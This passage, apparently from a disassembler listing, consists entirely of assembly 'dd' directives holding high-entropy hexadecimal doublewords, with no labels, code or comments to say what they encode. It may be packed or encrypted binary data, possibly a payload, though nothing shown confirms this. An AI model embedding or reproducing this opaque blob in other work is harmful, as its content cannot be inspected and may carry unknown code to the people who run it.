		dd 0A17384F0h, 0D0DFD913h, 0F63CDDDCh, 0E9AF8978h, 918203Fh
		dd 7F9B0F97h, 56B0059h,	0A4D3714Fh, 0E2008853h,	0F6226452h
		dd 459D4h, 0AC0974DFh, 0F2EC039h, 0EA2B10C1h, 0A8F07A7Fh
		dd 0E1E90C88h, 475843A1h, 5C8C20Ch, 0C42822h, 0E34EEBACh
		dd 37F6E472h, 36F51300h, 31537BFDh, 15953912h, 0C0A2AB9Dh
		dd 0F9297603h, 6400C80Eh, 0EE16D3E5h, 5D18B5Bh,	2AEA055Fh
		dd 5EEEC302h, 0B7610097h, 1A0042C0h, 6D967135h,	7EF9903h
		dd 0B22F5833h, 31459017h, 0D860C03Fh, 46BFB419h, 168B0157h
		dd 0ADDDB29Dh, 3C0AD405h, 5800F576h, 0FF07A295h, 178E9854h
		dd 0FA0653DCh, 17686A00h, 0E09778h, 0CD36F2BEh,	2AABED8Fh
		dd 0AD11BD03h, 0A83DEA9Eh, 0F35C8Eh, 8F91CD83h,	2FB3898h
		dd 0A1345100h, 89E96A06h, 3EE700A8h, 7F55CD7Ch,	8500EE29h
		dd 0C2409CBBh, 0E6FBD8Eh, 465C1EF5h, 0ABE22700h, 99009013h
		dd 715AC211h, 1CFCF9EBh, 1FF21502h, 0E1CD0055h,	0A0D82A85h
		dd 7800F0FEh, 1A50121Bh, 0A2512FC6h, 28FA80FCh,	45E43Ah
		dd 92DF640h, 3F36BD21h,	78DE8F00h, 0B42B7E8Dh, 6D0705C7h
		dd 0FF76795Bh, 4088C4C0h, 9DBE00ADh, 0B4FDE98Eh, 4500EB89h
		dd 0BB2BE312h, 3826F7DBh, 6A80B70Fh, 198D803Eh,	25744D4Fh
		dd 820B5D0Ah, 0C500B03Dh, 0D2B623D8h, 0F9280767h, 0A00A9C8Ch
		dd 92AE6614h, 1E279F3Dh, 380079BCh, 0F63F9034h,	1EA80952h
		dd 80013142h, 0DCBAC551h, 0D3096C8Bh, 0A36EB272h, 0C864748Ch
		dd 0E95A1EEh, 0ABA7B758h, 0E9CF0C07h, 4F321C00h, 6A0EE693h
		dd 60265CAFh, 314E446Ch, 39BE0437h, 825FF452h, 0DE0B998h
		dd 17002A3Ch, 9791D7FDh, 724B02h, 0D98908FFh, 27E87FD3h
		dd 96A8FC00h, 0A2026AD2h, 39323948h, 6DBD873Ah,	82D76500h
		dd 0C65F3AEDh, 9B740A0Eh, 3FF3AFB3h, 0D3CD37C0h, 4C7125h
		dd 0F7F4633Eh, 5DE47089h, 0BC5C5901h, 21B830C8h, 69D870h
		dd 803161BBh, 0AD12B44Fh, 0B5FA72h, 0A2A6C52Dh,	0BE8300A1h
		dd 3B9A78BDh, 0D002DD6Fh, 98E0B70Ch, 0EB54E097h, 80BB003Fh
		dd 64F5E930h, 0FB0FE8CFh, 0A0A78C35h, 83756E3h,	306000B2h
		dd 0FF126A7Fh, 3A03D049h, 438D8618h, 323E8D1h, 9684019Bh
		dd 81A9F278h, 0EC0AF085h, 3AE76600h, 0B2B64238h, 0D278C032h
		dd 5131FAB0h, 10F3577h,	0A0A0759Bh, 3F0B869Dh, 78CF1338h
		dd 68310406h, 0C504C077h, 0DA1E28B4h, 0D8026D8h, 33DC4C1Fh
		dd 400801ACh, 0BD896CA5h, 0DCC4219Ch, 480092DBh, 64E62C3Eh
		dd 0F97B886Dh, 0FC708340h, 0EC803FD8h, 41265F9Fh, 5C030EF7h
		dd 6DF5CC22h, 0A0105630h, 7931D2Dh, 0D7E3D58Eh,	1A90F0E2h
		dd 73985225h, 2F00857Ch, 6068B046h, 5ED424h, 6D342AFEh
		dd 96440D2Eh, 763ABB00h, 65108E4Ah, 0AAF693h, 0AF3DAC7Bh
		dd 0B402859Ch, 2F786F00h, 88C654C8h, 0D2EF000Fh, 5BB58F69h
		dd 390FEE62h, 12FA0AFh,	727535A3h, 422AFCh, 0AEEB7FD4h
		dd 0E8BD96CEh, 54F6D000h, 807B3E30h, 0C7A0028h,	4146779Eh
		dd 0F7002206h, 0CAF5A801h, 795092h, 2B16CDEEh, 0D8DC7F59h
		dd 75C4BF00h, 376904B0h, 0FC60027h, 0DD4AD98Dh,	80B4B94h
		dd 72C33Fh, 0B6D7768h, 0C41D0F30h, 51A0349Dh, 0F9C04E21h
		dd 0A523BE0Eh, 5370C0EAh, 0DFE6CFh, 171D8793h, 7F390CEEh
		dd 0BBBC7703h, 99627B13h, 96C8A2A3h, 0B33075Dh,	53010D97h
		dd 248025F5h, 7900147Fh, 88C76991h, 0EA7B5907h,	6B1100CBh
		dd 0DAD09B8Ah, 90010658h, 3643CCC6h, 0A530C099h, 0FAA5003Ch
		dd 3760D7C5h, 14396E81h, 0E13E80A4h, 0D6299C68h, 57731Dh
		dd 0AE7D780Fh, 0C18634E9h, 0F6B8CF00h, 0FA26D39Dh, 919F60Eh
		dd 8A8D404Ah, 6E3B3880h, 5104A942h, 94A108E5h, 7527A2C1h
		dd 0BF504680h, 3CD3D02Ch, 0B400DDEAh, 7388F63Ah, 7A57889h
		dd 30BDD797h, 0D6F1307Dh, 2700CE4Ah, 0AEF0A462h, 7A6169CBh
		dd 479200D2h, 5F9FEBC8h
		dd 0B613DB32h, 6C00653Bh, 0F871C99Bh, 1ADE3963h, 0D8C1A783h
		dd 0E3B8E58Ah, 0F0F72DBDh, 3C48BB4Eh, 207E80E0h, 721F44Fh
		dd 870CF0E0h, 0C873D0FDh, 0A11F0E65h, 0DFC23608h, 60496419h
		dd 98FDAD80h, 2E2277ABh, 3E08B6F2h, 89CA500h, 838F56B3h
		dd 0E89B3800h, 145F6EBBh, 0A7E27Dh, 0C15A9F9Dh,	0C5385072h
		dd 0D7C48300h, 597661BFh, 48A12E31h, 9055000Ah,	3106ED0h
		dd 1766E35Ch, 0D500D380h, 7BAC6AD9h, 980200EBh,	9CE9D64Dh
		dd 0CB00FD7Fh, 95A27A8Fh, 14AE1394h, 97E7446Eh,	0D5B12A00h
		dd 0CB0DBE85h, 4A00B870h, 4422C4B5h, 387DA9Ah, 0AB741A5Ah
		dd 1380EC57h, 413979DDh, 0DF17806Fh, 0B1AEFAE7h, 1F0B017Ah
		dd 8598B325h, 0BA63C47Eh, 3B93C100h, 0D8193026h, 0D79C004Fh
		dd 516CF3B9h, 9D001104h, 7033CD3Dh, 7ABC1D63h, 0BD6A009Bh
		dd 1BB166BBh, 7B00D6B5h, 44B4757h, 3C623493h, 0B6007AC5h
		dd 35FE6615h, 0F4013A49h, 3D2A78D7h, 0DAD4B1A4h, 9FB700DBh
		dd 0D1897FB3h, 46EEDC35h, 5A2ECBFEh, 9D00A5E8h,	0E7EC9116h
		dd 0A188006Eh, 0D63CBC82h, 0D40B64E3h, 832AE6D2h, 983A848Ah
		dd 3ED9DAA1h, 0E400C163h, 0A5D53220h, 0C82ED00Ah, 1C000411h
		dd 6203E5BAh, 0E15B0056h, 0A042F1D3h, 9A00DA4Eh, 0D15D55A5h
		dd 72490B2Fh, 1B150038h, 0C23BA16Dh, 1D010DB9h,	0A23A0988h
		dd 64807CB3h, 8A1C6B94h, 5E00043Fh, 160EBFABh, 7770346Fh
		dd 0E60C00F0h, 9DFA83D0h, 320019BCh, 0D19E2241h, 773EF8h
		dd 7B4D4392h, 21894CFEh, 0B50AB01h, 0EA61510Fh,	0E8A90430h
		dd 2CC100B6h, 0A2D65241h, 2B00B87Fh, 9A47CD18h,	828B87h
		dd 397C6122h, 0D2401D20h, 0FC00157Ah, 0DAA4D48Ah, 7FE6ECDh
		dd 9A2D5D56h, 49F98031h, 0B90011EBh, 279E05DBh,	5D5EF0h
		dd 7B086AE4h, 0AFCFD04Dh, 53C6291Eh, 99649500h,	0FDFE926h
		dd 0F7EE54CCh, 0BDAAE2C3h, 1A482E80h, 2093531Dh, 7CD7F387h
		dd 0A13B8EA0h, 10EC0040h, 3DD44511h, 8CA04435h,	9D0077A8h
		dd 4B6765C4h, 627CD8h, 0A707FEF5h, 13BD54E6h, 0A499561Fh
		dd 753F803Eh, 1F672BD3h, 46EE000Dh, 0E5F5BD42h,	80A19EB3h
		dd 99D6D4A4h, 0EA7B4B00h, 72242830h, 5B380017h,	40F3FB2Ch
		dd 0C131BFE2h, 195DB878h, 2D9FC140h, 0C7FB1D56h, 40B5DE32h
		dd 4EA136BFh, 74001BE7h, 607DD3C5h, 3BEC6288h, 0AF8015A6h
		dd 70C6D9DBh, 0D801BC9Eh, 6E7B7789h, 0C06B45A8h, 0B00ECE3Dh
		dd 70FC4000h, 0CD2B6715h, 0BEDE6C6h, 828D6EDBh,	5732AB80h
		dd 1800EC4Ch, 0F9A0519Fh, 0EAFECE98h, 6F8B0FF0h, 372D643Eh
		dd 0C50C43B0h, 116251C8h, 8CD30F00h, 0BAFA125Dh, 0B1151E2Ah
		dd 282E003Ch, 0CFBB4730h, 74001FECh, 0D89517ACh, 0B8E90Fh
		dd 88CC9E68h, 52B3595Ch, 8079043Ch, 0A1358DF0h,	0EB05EB84h
		dd 0C8F1A180h, 7E17334Ch, 78C5C200h, 0CD3F8785h, 0ED760F79h
		dd 4ACAB383h, 94503FCh,	6FB0DA59h, 60009AD9h, 54DC77Dh
		dd 0A14A5Fh, 8B2973E4h,	0E49FC85h, 0DE658300h, 9AD21D6Eh
		dd 7CA40008h, 233F6A24h, 0D6789F55h, 26E2C100h,	4D062963h
		dd 6C390056h, 0A1BAF03Ch, 0C54C34EBh, 174F0105h, 4B05A751h
		dd 0F9EC4621h, 0AE3D004Dh, 99E91639h, 5C0093F4h, 0BE381966h
		dd 94D9DEh, 2B518ABFh, 0F95388C1h, 8EDAAB00h, 0FB966BD2h
		dd 2DE062h, 11BC263Ch, 0C67BFD0Ah, 0DDC2DE00h, 1C604E9Eh
		dd 214B0081h, 0F787F432h, 63000F6Eh, 0C0FAA8B8h, 1DC15762h
		dd 9E2BB7h, 0E760C738h,	89143F6Bh, 9E8F461h, 0DC34D096h
		dd 3CE80047h, 0F18DC4ADh, 0BC44C629h, 3484D680h, 0F445AE41h
		dd 5BEC30B9h, 9F82EF41h, 0DF9D1800h, 2B3B2C7Ah,	55CC1CF3h
		dd 49A9C245h, 0E48392F6h, 800AC818h, 0D8DF9666h, 711FE283h
		dd 2CF488F0h, 0C8E049h,	0C6A9410Bh, 507C35D5h, 27855C00h
		dd 0D22DB63Bh, 9B00045h, 0DA40ADE4h, 5D005BEDh,	0BAEE36A6h
		dd 5C4A8AE3h, 57540E2h,	670EE841h, 2A52C058h, 653E6407h
		dd 0BA1E005Fh, 11AC7E51h, 0E1000B7h, 8E533B21h,	0CE0046A8h
		dd 1250455Bh, 0DD6E20h,	0F797DC7Dh, 8A04B94Ah, 1C37F63Ch
		dd 2D402215h, 70E4112Fh, 26DA00EAh, 681B03AFh, 8700C9E8h
		dd 0CB02C30h, 0CEA44Dh,	0D29F20D1h, 15E519EAh, 45769502h
		dd 0A0106582h, 7863D780h, 318404C6h, 0DC55295Bh, 6005323Ch
		dd 1411ED4Bh, 0B0F6C180h, 6BE300D5h, 5413E793h,	0BB00C605h
		dd 5DB852F5h, 28304C7Eh, 79C08EE1h, 0B6D2004Dh,	0A21154E3h
		dd 7A0014C2h, 841343A6h, 7B1AC0BEh, 9C740A6Eh, 80F02799h
		dd 3B7A8697h, 0B007E84h, 0F2927823h, 24134B33h,	784F95Fh
		dd 0E50250Ah, 890F29E0h, 0C800AA9Eh, 13E2C274h,	0CFB47Dh
		dd 0DED97A3Ch, 5E906DC3h, 610041EEh, 0E73E089Eh, 1916BFh
		dd 942E48F5h, 0DA6555EAh, 3D5AB8C0h, 0BF85E34h,	0B669FA84h
		dd 0CCC21680h, 40008FCDh, 0D52721E4h, 1C2402AAh, 80811115h
		dd 0BD4A05F9h, 8800593Eh, 621F5596h, 2C449FC0h,	0E2873D8h
		dd 2EA02A1Eh, 0EE22489Eh, 797C8A0Fh, 28FF003Ch,	0FDDA5C2h
		dd 0A46E73DFh, 5B076F00h, 5600B9E6h, 904539EBh,	9929E8h
		dd 0FEEF70BEh, 0F7F321DFh, 4B058h, 79938F89h, 0B0F9CEABh
		dd 35990244h, 0DDA21A83h, 17BB2C60h, 6692CB0Fh,	0BC946Eh
		dd 0EF519E6Ah, 0E661DFD7h, 0D3B8003Eh, 69DE6BFAh, 1B001E94h
		dd 16F46D88h, 49BEFEh, 76C41571h, 0EAFA67C9h, 0B4B94Ch
		dd 6FC30CE1h, 95472E7h,	86683338h, 981E7001h, 439187D1h
		dd 69B345D4h, 3918887h,	136300CAh, 75FBBA55h, 95095F5Bh
		dd 201A0F7Fh, 5E2D0750h, 0D1DE1241h, 0C0105D3Bh, 13C6444Dh
		dd 0B20119E4h, 1B17BC23h, 0BBD4C55Dh, 5801FC69h, 0F00A688h
		dd 0BF38AE97h, 20778F2h, 0AB91156Fh, 0C9D51300h, 18B41DDAh
		dd 571C47C5h, 0F56BF03Ch, 3900B82Ch, 970E5E26h,	0D093F8h
		dd 602545A9h, 38628B06h, 19A79903h, 0F07C5375h,	0BBFB7Eh
		dd 10B5B44Fh, 0F1ADAB16h, 80AFDE00h, 0C2E30847h, 0B409842h
		dd 4A811E46h, 909E08h, 9568940Ah, 0C2008C2Bh, 397D2A75h
		dd 0DDC1F2h, 0C804CF98h, 4C40F494h, 0FB00BA7Ah,	0C2971C79h
		dd 63FA4Ah, 0E816F75Dh,	7DC1CA8Dh, 17AF401Eh, 0BD0D85BBh
		dd 0C806A156h, 7B71C691h, 9ABF00E4h, 243BE64Ch,	94725A30h
		dd 540F9F00h, 0BA4F8087h, 0B1880031h, 0AD05BE50h, 42148E17h
		dd 78BC51FEh, 0EB038F75h, 0DA1F8A7Dh, 9C0AB1EEh, 0C4F40465h
		dd 4A34036Ah, 829FA815h, 0A369780Eh, 0B6C2E2FDh, 0D446013h
		dd 0C0AA015Bh, 0E463127Fh, 0AFCB609Ch, 8005A23Ah, 1A750242h
		dd 98D4090h, 0B034233Ah, 0D4C2480h, 5CE41208h, 0CC9AAD05h
		dd 80ABCE76h, 8DFB3433h, 0FD9DD70Fh, 2EFEA061h,	0EE994023h
		dd 8C652789h, 5EB0F650h, 0D900CD77h, 2E1780BFh,	1D21DEFBh
		dd 0CCFB5E5h, 0A4E80C75h, 0DCD10401h, 9DFBAFA2h, 14796E8h
		dd 22D755BCh, 60609F30h, 0C090A0D2h, 11C2625h, 3D168040h
		dd 0D6A720h, 2CD998E3h,	136D5396h, 0F647A800h, 0DAB41158h
		dd 7B8400B0h, 8D9270C4h, 541E895Ch, 0BB4246F3h,	60D135B3h
		dd 17321Ch, 9F9E333Eh, 7A7ED361h, 50DD6B00h, 0DED6CCB5h
		dd 94F416DCh, 30A0275Eh, 0FD52DA6Eh, 4A9BB000h,	0EC601C47h
		dd 0FCAC5876h, 0FA08607h, 411B00D5h, 9C002629h,	0CEE304FEh
		dd 0ECB80BEDh, 744C1FFDh, 2DC944ADh, 20BCC1DFh,	0E7C5F8C3h
		dd 0D8C2C100h, 170A07F9h
		dd 6DF003Bh, 0E4167F13h, 0EB1D283Fh, 0A2C0A3DBh, 0F4BFFE08h
		dd 3EA40C4Eh, 0CA104A1Eh, 47031100h, 0B880D085h, 4BAE00B2h
		dd 57C29E77h, 0BFC4649h, 413C898h, 84FCDA9h, 0B88172C0h
		dd 3BD811B9h, 0DA6A02D1h, 88227905h, 20DDC441h,	0B90238AEh
		dd 0D4C76CB7h, 910743E1h, 48208F03h, 9CBA547Bh,	9A1900DDh
		dd 5634338Bh, 75586011h, 0C54C01ACh, 0DC9EC705h, 0F0D471EDh
		dd 883F0089h, 0DFB86D34h, 92001DC2h, 256980A2h,	467CEBh
		dd 8FB0DE7Eh, 0AA97D87Ah, 0A9A5A002h, 0A02E1DC0h, 1AC87A0h
		dd 5B70DCh, 0F13828CCh,	8D3A9DD6h, 27E86700h, 0FA327354h
		dd 0B20B0146h, 5B6C26E2h, 0B1B9F888h, 49EEFB90h, 0B06DE909h
		dd 687060B5h, 981717BFh, 80DD14F5h, 0F41126h, 422F875Dh
		dd 8200DF1Eh, 0FEA1F4BCh, 0B8997D06h, 57D60092h, 0DA68A734h
		dd 1C09D5AFh, 908F93h, 3A2E3375h, 154B003Fh, 0CA61A999h
		dd 890E24CEh, 93E3531Bh, 25D8FC00h, 6325C8Fh, 8816B7Ch
		dd 0FD3896F7h, 667B142Fh, 700307B8h, 0B6833C49h, 4888F4E0h
		dd 5A3800F5h, 9C5B6758h, 5F604FEDh, 0B7B0596Ch,	70C20EE2h
		dd 89008AF1h, 4943C829h, 2DAFEA05h, 0B8007B85h,	42FF7786h
		dd 0A6A80435h, 0D0A76BF0h, 6EC88EB4h, 0E12CC300h, 0A5B855E5h
		dd 7FBE6BBh, 0A42697EEh, 7BCAA0F4h, 0B2EC473Fh,	0A30048FAh
		dd 81CFE0D7h, 0A35EE3Eh, 70FA7B51h, 0D2DA008Fh,	6A7FD3CBh
		dd 4D58D100h, 5B8A0115h, 0D6060033h, 5C303BC6h,	0F8008548h
		dd 8EC8DD75h, 3995A68Bh, 2980F408h, 12A9E479h, 309406DAh
		dd 5139E260h, 0DE671E20h, 0C33C094Eh, 0BC29D400h, 2009E45h
		dd 0D54B9F7Fh, 0E6D15D95h, 9AEF00D7h, 2EB98CF1h, 0E02C8B2h
		dd 71EC775Eh, 0E49C605Ch, 0FF2A0197h, 38E9EF3Eh, 47CCECE7h
		dd 2BB79900h, 7F48AE6Eh, 0EECF3A5Bh, 0E1FEC680h, 5CD0B83Bh
		dd 0D8FA58h, 66B0B7CBh,	0D2F626h, 60677174h, 581D105Ah
		dd 0A9612F01h, 7EAEE61Eh, 56276F0h, 0D74AF320h,	0FC1F8Ch
		dd 6BE5B76Fh, 148D41Dh,	0EFF403CCh, 80ED537Dh, 4FDA3Bh
		dd 0F2417848h, 0E747BA92h, 6C00084Eh, 79D8A5F9h, 0ABF006h
		dd 0CB7266C3h, 90A0CDE8h, 0B73C4475h, 0E6559FE4h, 97F23F80h
		dd 14822A1h, 86025D98h,	6003A0D9h, 8500AB60h, 0BCDB348Eh
		dd 0A10174h, 1B1282CFh,	0E2573D09h, 8C5F9139h, 811D0747h
		dd 15EF12ABh, 942C108Ch, 0A4F62100h, 0E9A94A35h, 8F0CE000h
		dd 43687CA7h, 3409603h,	6728D8ACh, 0E576027h, 0A9E50018h
		dd 0F05FD54h, 27A44BABh, 0DB138F80h, 2E48CF44h,	63ED0E08h
		dd 43902347h, 72FDA8E5h, 1809877h, 0FCAFB31Bh, 0F4A99579h
		dd 2DECD286h, 443D5405h, 8CD07072h, 4C4FD1BFh, 0E90594F1h
		dd 0C135621Eh, 0C0DE3D8Eh, 9B00FE12h, 0D437F3BEh, 25D956h
		dd 2E41B9CEh, 0A3F68758h, 0CAAC1402h, 0E0BFF1BCh, 7BA176Ch
		dd 33606FFFh, 556180D8h, 0FA01A81Fh, 1E9644D2h,	3F03574h
		dd 0E178001Dh, 8B1A0AA7h, 0F90312FDh, 61588A93h, 0B829887Bh
		dd 8C0100F7h, 343C7441h, 0A03B4FAh, 6861AF56h, 0A620D894h
		dd 7CA848C0h, 0C493A500h, 8AAF7CD3h, 0AE401300h, 7EFB0803h
		dd 0DA8F00C3h, 2D023290h, 3A0F81D6h, 60F7591Bh,	60B29DF5h
		dd 0CBC202CDh, 0DF48BCFh, 80F76255h, 35AA2B67h,	28964A3Ch
		dd 38734694h, 0F04C2028h, 0E3ABB507h, 4120F091h, 507869DCh
		dd 0E2CDB4F5h, 0A83A048Fh, 0E0E7DEECh, 0F34CF22Ch, 0A69E0608h
		dd 7A9F86h, 8D2CD2B4h, 31274093h, 6091FC00h, 165F2F1Eh
		dd 75A600C2h, 97392DBDh, 0E217ADE0h, 0D440CE32h, 0C0D24EF7h
		dd 372F03BAh, 1E54262Ch, 44AFBEF0h, 0C4CAB900h,	3C5835Ah
		dd 881C58CDh, 8AAA9D80h, 0C704D5B0h, 9A3815Fh, 7122492h
		dd 7DFB73CEh, 269F39D8h, 0BAA28109h, 0B9600019h, 0A8DB8Fh
		dd 6FFC0428h, 0E4449197h, 0C8FF250h, 0CFA23100h, 7B205C09h
		dd 55290156h, 0E0BF69Eh, 0A9B830A7h, 17814500h,	72BF61DAh
		dd 0BAD301DCh, 3101FB50h, 56F02FE0h, 0CF9F1EB0h, 4C9480FEh
		dd 0F703EFAFh, 63C3E8A3h, 0F37A580Fh, 0EB00FEA8h, 30514987h
		dd 0BF0B0028h, 88332FF1h, 324A2EDh, 170019C0h, 1EC527A9h
		dd 4B7A0064h, 0B49A2484h, 0A4546785h, 0BF714FA8h, 6D628F00h
		dd 799E1782h, 0D910E88h, 0C867191Fh, 18DFF30Ah,	0B57B8DF8h
		dd 170FD8B0h, 93E8FC6Fh, 202C7C80h, 237C38h, 1ECA591h
		dd 4B2DFF16h, 80211C3Eh, 438B5B60h, 9523E8Eh, 6EFB92D7h
		dd 7B007F5Eh, 5C974D5h,	0E90EABAh, 10451F67h, 65D7F160h
		dd 6A0058FAh, 3B1246AAh, 38B3FBFFh, 0A038F85h, 13E5DEA0h
		dd 6ABC7590h, 16A6AF07h, 0B0700F32h, 1D7EADCDh,	0C7D2470Eh
		dd 8035DAACh, 9711CCBBh, 6FB6901h, 7488666Dh, 0C617E0h
		dd 9CD07819h, 0C1B929Eh, 7193C40Fh, 94518760h, 0EF30F9D0h
		dd 55AD3F9Ch, 0D085D067h, 0F6C944D7h, 0E4A7BE06h, 4CB8DAB2h
		dd 7A006040h, 0FB607BB5h, 0D4077FDCh, 32A79F99h, 6B4CC57Eh
		dd 0E12B00BFh, 8E36EFDDh, 0C999100h, 0A0935C9Ch, 97BA2652h
		dd 6F1695h, 9F6BEE4Bh, 0B238AEFFh, 1EFE0080h, 60E8A81Bh
		dd 0AA4B188Fh, 0FD181032h, 75615700h, 0B752139Fh, 66700B5h
		dd 0DA1F659Bh, 5F003DB3h, 0A401D9EBh, 3E627F75h, 90070ECh
		dd 40589404h, 4700546Fh, 3881B9BFh, 79678E31h, 3C32008Ah
		dd 397EE970h, 0C83FE258h, 0FD00F515h, 0DBBA7798h, 3864ABh
		dd 73E6E93Dh, 7AF9110Bh, 4D046106h, 0D8C24Ch, 3DF06C8Eh
		dd 0A46951AFh, 7F00F374h, 172C19B4h, 0E6ABE0EBh, 6C89043Fh
		dd 0D0D04DB6h, 3B973132h, 7EC7E400h, 0B4A03302h, 0E17500C2h
		dd 0B3D481FEh, 35701940h, 3BED8C50h, 0C537BC00h, 5F442DBBh
		dd 6EDB2E2Eh, 80FC1FD7h, 0ED0849F7h, 84006220h,	55062B61h
		dd 753073h, 0B1607889h,	0CCB45B91h, 11194A00h, 9C7B5072h
		dd 2C0600E5h, 0ADA38B31h, 3F00F121h, 0AF622AD7h, 4CBCE623h
		dd 0E24869DBh, 0E9CD300h, 8986D1DAh, 0D970D500h, 5BEEA892h
		dd 0A9FE5Ah, 0B61BF87Ch, 731E7595h, 553DEF00h, 0D9C07FDAh
		dd 506FACDh, 91EB67FDh,	643C8711h, 4004EB9Eh, 0AAC00ADCh
		dd 0F7086Fh, 0AC9F8A51h, 24ED274Ah, 154B0F09h, 230F806Ch
		dd 0F0DB9D57h, 0ECEFA0CDh, 990E001Fh, 80829FCEh, 0E179AA10h
		dd 98313B0Bh, 0C26780A9h, 9D92B9h, 0B3D0D7E8h, 5319D3F9h
		dd 0A81A9907h, 0B5F0827Bh, 95ACDCh, 8F87E504h, 36C2739Eh
		dd 4DC0880Fh, 0B235015Eh, 6FEC15E2h, 0B190025h,	6A17626Dh
		dd 70008A97h, 2C320D9Ah, 3528CFh, 42A67E87h, 8F3E221Ch
		dd 0E240751Fh, 6E04AB40h, 76FE427h, 77A59246h, 753F4002h
		dd 9E0FEFCFh, 617FB404h, 5DDB6338h, 0EA367080h,	0BCDF8E20h
		dd 0B64C7900h, 9385E581h, 94F0FE8h, 0BF2395CEh,	188EECFBh
		dd 0F4B4F000h, 49E54AE3h, 3DD83E32h, 94E2CD00h,	0C0B01712h
		dd 905D6F00h, 7A250371h, 55810080h, 665EEF43h, 610C2F5Bh
		dd 50D83F79h, 0D2AA38C3h, 57D11180h, 0F9E820EBh, 0CE95E301h
		dd 2C1E4CA0h, 0ECC62881h, 20EBD2A1h, 904D8BDCh,	0A576001Ch
		dd 0E4561F71h, 0A9420670h, 4A7C99ADh, 30BA783Eh, 462E40F2h
		dd 0D16400B1h, 0F94AFC50h, 0A513F8C6h, 0D7BC0633h, 0E120BA00h
		dd 82F47283h, 3DE23C03h, 0EBAE1D77h, 0FC94A8C5h, 0E42C003Ah
		dd 8343C691h, 0E70EFEADh, 0C0727151h, 1BF5E60Bh, 11D7E0Eh
		dd 0F6036CFDh, 318DBA79h
		dd 167C2054h, 94D09524h, 0E2827500h, 130989FCh,	37F45F1h
		dd 294DC528h, 0D51383F0h, 65EE6F0Ch, 0E021E8h, 101D800Dh
		dd 998DC62Bh, 0FF3430FBh, 9FC86700h, 51CCBDB2h,	0A0EAF9h
		dd 0BB3B7B1h, 83FBE566h, 0B0D4DD0Eh, 0C08F6C8Dh, 467E31h
		dd 3BF144AEh, 3FF05D14h, 60E47F1Fh, 0DC405393h,	0C37075B7h
		dd 0A06600A8h, 0F51C3805h, 0B5003142h, 71BE78A3h, 1830E796h
		dd 0A8DC754Dh, 1E00F35Bh, 648F536Bh, 0E05D36h, 9885C0B4h
		dd 833743E2h, 786B1807h, 8830F3A7h, 329BC80h, 631AD8ABh
		dd 481CC87Bh, 1B00DD55h, 444E68F0h, 231D006Dh, 368531C5h
		dd 3800AD78h, 8426AFA2h, 59B804h, 976CBBE1h, 0B4B6ABFh
		dd 0EBA30D00h, 8FDD7543h, 53A903D6h, 0B86FC366h, 1808DE98h
		dd 0FFF5A800h, 0E6CF709Fh, 0EE7D0FAFh, 2C80FBAEh, 0DEBD2952h
		dd 121B651Dh, 7FB50380h, 0AE5E4ECh, 0C179472Dh,	63780FE8h
		dd 973CF580h, 0BC0518AEh, 0CACF9CF4h, 53278491h, 0E72CEC62h
		dd 14426E2h, 390CD160h,	56118179h, 164FC5EFh, 0CABDC0h
		dd 80CB3277h, 6CC2338Eh, 0CC1A100h, 0A61AD34Fh,	0FED407F3h
		dd 10CC88E2h, 2A3BCFAh,	8CB4801Ch, 0ADCAC200h, 1E171D8Fh
		dd 9A304Ch, 62E5DD9Dh, 0B500777Bh, 8B19EE92h, 0F11310Ah
		dd 8D9C0683h, 9ABB7FE0h, 4861D046h, 0A0D90C30h,	7A95530h
		dd 859CFADFh, 7D1B096h,	0D000CFC6h, 5909AB53h, 7D7F52h
		dd 0EEF82DB9h, 25F39699h, 16388749h, 0F44063F1h, 44559BCCh
		dd 0E698E61Dh, 0D53300FFh, 6B66D4A4h, 0CE04A1EEh, 9EDA97B9h
		dd 13F9A4C0h, 74B624B7h, 95A003BDh, 0EEB80F0Eh,	0D5FAF004h
		dd 0A3F82407h, 5627DFACh, 1CD9FAA0h, 37C03F3Fh,	1551B901h
		dd 405D2E5Ah, 93CF25F8h, 0E8285CB0h, 0AA009CB5h, 574D0348h
		dd 9FC988h, 5870D410h, 0FAB78C42h, 39645B00h, 0B89773D6h
		dd 810C1C82h, 0FBC78028h, 56E1B726h, 0A4EF8000h, 0DF17FA13h
		dd 586B1D33h, 0D7A9CF32h, 56680F96h, 369E6840h,	0BB2EF8BAh
		dd 1028ABAFh, 0CE146F00h, 67F42C54h, 0E87F90h, 139DD281h
		dd 3C6B2B12h, 15616501h, 32ADD372h, 7B6C6DE8h, 2E423BFCh
		dd 0FB030077h, 8117AC2Fh, 840074BEh, 0AD67B1CFh, 7BA590h
		dd 387313EAh, 50EB5C01h, 0F4264892h, 0F800D2E7h, 0D8F083D5h
		dd 0FC225188h, 2FA1F8h,	0F16755FAh, 7338EC0Bh, 1AA0C8E1h
		dd 7E06E37Fh, 2F9C6A8Eh, 0BDFF0130h, 4B642D7Fh,	8BD8859Eh
		dd 0C7AB67ACh, 780C9082h, 0A10288CDh, 0E7F996A6h, 4BCC600Ah
		dd 0AF363BF8h, 0F5E9BE80h, 70B4745Bh, 3934F900h, 45AB01CEh
		dd 248472F8h, 6FF082h, 17F607BAh, 0B9008D80h, 95A4D676h
		dd 70E6FA20h, 0BC3F0045h, 7C7858D1h, 8403258Dh,	0E18E9549h
		dd 21CCC0F7h, 1C391D10h, 9A00BC29h, 0D7D3314h, 3401577Eh
		dd 0B6E9852Dh, 9C700986h, 5CC00C2h, 7F9CC735h, 0FA1254FBh
		dd 6C40BFA8h, 7D5F3F2Fh, 2B801EBAh, 0D242C088h,	0A30C39CBh
		dd 0D0F7470Fh, 2DE46016h, 7B10857h, 86E1DB62h, 18A1B0BCh
		dd 400CCF6h, 529B37EEh,	0F0E0D1ADh, 0AFB0016h, 4D251ABAh
		dd 64B2A15Ah, 4A2D8F5Ch, 3369080Fh, 0E106EC12h,	20F5ACh
		dd 0D3AFCBC7h, 6F763887h, 0B047E14Ah, 8AE0859Eh, 4C8D50F3h
		dd 0DB0084E0h, 1053E12Ch, 8B014135h, 0EF8129ADh, 0A540C9C6h
		dd 3CA73h, 31F81CDEh, 4B38424Dh, 8A00FE7Eh, 49CDD365h
		dd 1D07C7FBh, 420E30D5h, 0D7FC9DC1h, 0F5916C40h, 5807D17Bh
		dd 0B79E7D86h, 0FC605C11h, 3C3FE8h, 2632F087h, 0DA247F3Eh
		dd 1FA71407h, 976028FAh, 0EE2C0A0h, 649B4DA2h, 60A573E7h
		dd 62B926E7h, 5EC2FB00h, 29F9D5E9h, 0DB3326F3h,	49B60346h
		dd 8000C74Ah, 0D8BBBCAh, 5B49065h, 222F6DA8h, 5EDC1C8Ch
		dd 0C50600B8h, 8BB21169h, 0DE0AB0DFh, 0D6002060h, 0D0D20FF8h
